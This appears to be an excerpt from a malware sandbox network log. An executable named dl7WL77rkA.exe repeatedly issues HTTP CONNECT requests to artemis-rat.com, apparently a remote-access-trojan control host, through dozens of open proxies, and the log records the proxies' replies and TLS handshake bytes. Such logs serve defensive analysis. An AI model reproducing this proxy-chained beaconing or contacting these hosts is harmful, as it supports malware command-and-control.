Mar 11, 2024 03:30:42.219841003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.092361927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.201915979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.405236959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.592715025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.702217102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.905081034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1105	192.168.2.5	51072	167.86.69.142	42214	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.229280949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.389478922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.405390024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.499097109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1106	192.168.2.5	53014	104.19.235.10	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.236457109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.391025066 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1107	192.168.2.5	52922	210.72.11.46	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.246313095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.624404907 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1108	192.168.2.5	52980	146.19.106.217	12334	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.253923893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1109	192.168.2.5	52913	139.99.148.90	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.254494905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.610845089 CET	536	IN	HTTP/1.1 407 Proxy Authentication Required Server: squid/3.5.20 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3711 X-Squid-Error: ERR_CACHE_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en Proxy-Authenticate: Basic realm="Squid Basic Authentication" X-Cache: MISS from ns547184.ip-139-99-148.net X-Cache-Lookup: NONE from ns547184.ip-139-99-148.net:3128 Via: 1.1 ns547184.ip-139-99-148.net (squid/3.5.20) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f Data Ascii: <!DOCTYPE html PUBLIC "-/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1110	192.168.2.5	52943	18.228.198.164	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.254632950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.581552029 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:42 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 03:30:42.594846964 CET	369	OUT	Data Raw: 16 03 03 01 6c 01 00 01 68 03 03 65 ee 6c d1 0a 1b 26 73 6e 7d b0 ef 06 2d 4a 6d d2 e6 e6 a0 c5 e4 ac ab 2e 0f 32 30 c4 85 95 64 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: lhel&sn}-Jm.20d*,+0/$#('=<5/artemis-rat.com#`9["%1-u;raemk" `;]jiK.#ivoay#
Mar 11, 2024 03:30:42.922173977 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 9f 6a 46 d6 ec 6e 90 14 3b 91 34 a1 b4 27 19 5e 70 fa b3 a0 25 ed 59 b1 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9jFn;4'^p%YDOWNGRD0000H010Uartemis-rat.com0240311015326Z260311015326Z010Uartemis-rat.com0"0H0RS
Mar 11, 2024 03:30:43.026077986 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 9b 1f a6 5e 97 ae 52 f6 6e 1e 36 c7 ff f5 70 54 87 de ed e5 0c a8 ee bd d9 05 2c 7f 53 22 60 00 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 36 58 eb bd a2 34 23 44 14 3e 49 5e 8b dd 42 d4 c0 3b 78 92 18 Data Ascii: %! ^Rn6pT,S"`(6X4#D>I^B;x\v1c
Mar 11, 2024 03:30:43.351882935 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 06 be 74 f1 8c fa 7a 03 7d dd c0 9a 1f 31 10 81 c7 4e 97 a5 d8 6c 50 aa 1f 4a 66 bd 3e be f8 6a 40 df 43 1f 55 3d 03 ba Data Ascii: (tz}1NlPJf>j@CU=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1111	192.168.2.5	52928	36.92.81.181	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.254934072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1112	192.168.2.5	53024	72.167.222.113	39574	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.257531881 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1113	192.168.2.5	52995	147.124.212.31	24230	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.258810997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.806344986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.490557909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.695132017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.083539009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.405575991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.811322927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.509557009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1114	192.168.2.5	52950	178.128.113.118	23128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.261372089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.099472046 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1115	192.168.2.5	52957	185.49.30.5	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.272599936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1116	192.168.2.5	52948	148.66.130.53	56350	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.275378942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.107947111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.180085897 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.266851902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.468164921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.717565060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1117	192.168.2.5	52941	114.255.132.60	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.276257038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.104173899 CET	1286	IN	HTTP/1.1 503 Service Unavailable Server: squid/3.5.27 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3938 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2017 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {marg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1118	192.168.2.5	52924	114.55.84.12	30001	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.283380985 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.634098053 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1119	192.168.2.5	53083	172.67.127.188	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.284259081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
